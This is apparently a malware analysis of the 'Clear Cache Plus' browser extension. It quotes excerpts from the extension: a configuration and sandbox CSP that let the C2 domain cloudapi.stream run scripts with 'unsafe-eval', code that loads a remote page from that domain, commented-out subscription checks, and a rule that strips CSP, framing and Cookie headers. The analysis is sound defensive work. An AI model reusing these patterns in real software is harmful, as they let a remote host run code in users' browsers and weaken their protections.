Clear Cache Plus

`cloudapi.stream` is the extension's declared API base URL, AWS API Gateway endpoint, and website URL. This domain is explicitly named in two IoC records (MalExt Sentry v1.0 and Socket 108-chrome-ext C2 campaign) as the shared command-and-control infrastructure for a data-exfiltration and session-theft campaign spanning 108 extensions. All Cognito authentication tokens and subscription API calls flow to this domain.

const R = {  BASE_URL: "/",  DEV: !1,  MODE: "release",  PROD: !0,  SSR: !1,  VITE_API_NAME: "prod-clear-cache-Api",  VITE_API_URL: "https://cloudapi.stream",  VITE_CHECKOUT_DOMAIN: "paddle.com",  VITE_CHECKOUT_ORIGIN: "https://*.paddle.com/",  VITE_CHECKOUT_URL: "https://cloudapi.stream/checkout/index.html",  VITE_CUSTOMER_ID_ATTR_NAME: "custom:customerId",  VITE_EXTENSION_HOST: "",  VITE_EXTENSION_PORT: "",  VITE_IDENTITY_POOL_ID: "us-east-1:3eb0088c-5f55-4e61-bde5-650f67bec1bd",  ...  VITE_WEBSITE_URL: "https://cloudapi.stream"}

The manifest's sandbox CSP explicitly whitelists `cloudapi.stream` as a trusted script source with `unsafe-eval` enabled, allowing the C2 domain to serve and execute arbitrary JavaScript inside the extension's sandbox context. Legitimate payment processors do not require script execution permissions from a third-party domain that is not the payment processor itself (Paddle is separately listed). This grants the C2 unrestricted script execution capability within the sandbox.

{  "sandbox": [    "sandbox allow-scripts allow-forms allow-popups allow-modals",    "script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.paddle.com https://buy.paddle.com https://cloudapi.stream/checkout/index.html",    "script-src-elem 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.paddle.com https://buy.paddle.com https://cloudapi.stream/checkout/index.html",    "child-src 'self' https://cloudapi.stream/checkout/index.html https://buy.paddle.com",    "frame-src https://cloudapi.stream/checkout/index.html https://buy.paddle.com"  ]}

The sandbox page unconditionally navigates to `cloudapi.stream/checkout/index.html` (the value of `o.resources.checkoutUrl` as defined in index.esm-DBQD-6dI.js). This fetches and executes remotely-hosted code from the known C2 domain on every sandbox load. Because the CSP grants `unsafe-eval` to this origin, the remotely loaded page can dynamically construct and execute arbitrary code.

r.info(c.magenta(`Sandbox: Loading checkout url: ${o.resources.checkoutUrl}`)), window.location.href = o.resources  .checkoutUrl;

All four subscription validation checks have been deliberately commented out and replaced with numbered `console.log` debug stubs. The function unconditionally returns `true`, meaning every user is treated as an active subscriber regardless of payment status. This is not obfuscation or a minifier artifact — the leftover numbered console.log stubs are characteristic of active manual tampering. Bypassing subscription gating is consistent with trojanized extensions that attract users with free premium access while running covert C2 operations.

g(this, "isSubscribed", (t = !0) => {  try {    const r = Ku.getInstance(),      i = r.getCustomerId(),      n = d(this, We),      s = d(this, ce);    console.log(s);    console.log("1");    //if (!r.isLoggedIn() || !i || !n || !s) return (d(this, We) || d(this, ce)) && D.debug(z.yellow("Invalidating subscription..."), d(this, We), d(this, ce)), $(this, ce, void 0), $(this, We, void 0), !1;    console.log("2");    //if (!n.status) throw new Error((n == null ? void 0 : n.error) || "Validation request has no status");    console.log("3");    //if (s.customerId !== i) throw new Error((n == null ? void 0 : n.error) || "Customer ID mismatch");    console.log("4");    //if (s.status !== "active" && s.status !== "trialing") throw new Error(...);    console.log("5");    return !0  } catch (r) {    if (!t) throw D.debug("Could not validate subscription:", (r == null ? void 0 : r.message) || r), r;    return !1  }});

During the checkout flow the extension applies a `declarativeNetRequest` session rule that strips `Cookie`, `X-Frame-Options`, `Frame-Options`, and `Content-Security-Policy` response headers from all main and sub frames in its own tab contexts. Stripping CSP and framing headers from responses is used to allow the `cloudapi.stream` checkout iframe to load without browser-enforced content restrictions, removing a layer of security isolation that would otherwise prevent cross-origin framing and script injection by the C2 page.

responseHeaders: [{    header: "Cookie",    operation: "remove"  }, {    header: "X-Frame-Options",    operation: "remove"  }, {    header: "Frame-Options",    operation: "remove"  }, {    header: "Content-Security-Policy",    operation: "remove"  }]  ...  condition: {    resourceTypes: ["main_frame", "sub_frame"],    tabIds: u  }